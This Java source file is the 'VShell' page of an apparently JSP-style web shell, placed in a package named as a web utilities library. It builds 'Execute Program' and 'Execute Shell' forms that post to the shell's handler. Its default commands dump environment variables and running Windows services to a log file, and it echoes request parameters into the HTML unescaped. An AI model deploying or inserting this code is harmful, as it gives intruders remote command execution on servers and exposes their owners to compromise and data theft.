package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;

//VShell
public class VsInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession JSession) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            String cmd = request.getParameter("command");
            String program = request.getParameter("program");
            if (cmd == null) cmd = "cmd.exe /c set";
            if (program == null) program = "cmd.exe /c net start > " + SHELL_DIR + "/Log.txt";
            if (JSession.getAttribute(MSG) != null) {
                Utils.outMsg(out, JSession.getAttribute(MSG).toString());
                JSession.removeAttribute(MSG);
            }
            out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>" +
                    "<form name=\"form1\" id=\"form1\" action=\"" + SHELL_NAME + "\" method=\"post\" >" +
                    "<h2>Execute Program &raquo;</h2>" +
                    "<p>" +
                    "<input type=\"hidden\" name=\"o\" value=\"shell\">" +
                    "<input type=\"hidden\" name=\"type\" value=\"program\">" +
                    "Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\"" + program + "\" type=\"text\" size=\"100\"  />" +
                    "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />" +
                    "</p>" +
                    "</form>" +
                    "<form name=\"form1\" id=\"form1\" action=\"" + SHELL_NAME + "\" method=\"post\" >" +
                    "<h2>Execute Shell &raquo;</h2>" +
                    "<p>" +
                    "<input type=\"hidden\" name=\"o\" value=\"shell\">" +
                    "<input type=\"hidden\" name=\"type\" value=\"command\">" +
                    "Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\"" + cmd + "\" type=\"text\" size=\"100\"  />" +
                    "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />" +
                    "</p>" +
                    "</form>" +
                    "</td>" +
                    "</tr></table>");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}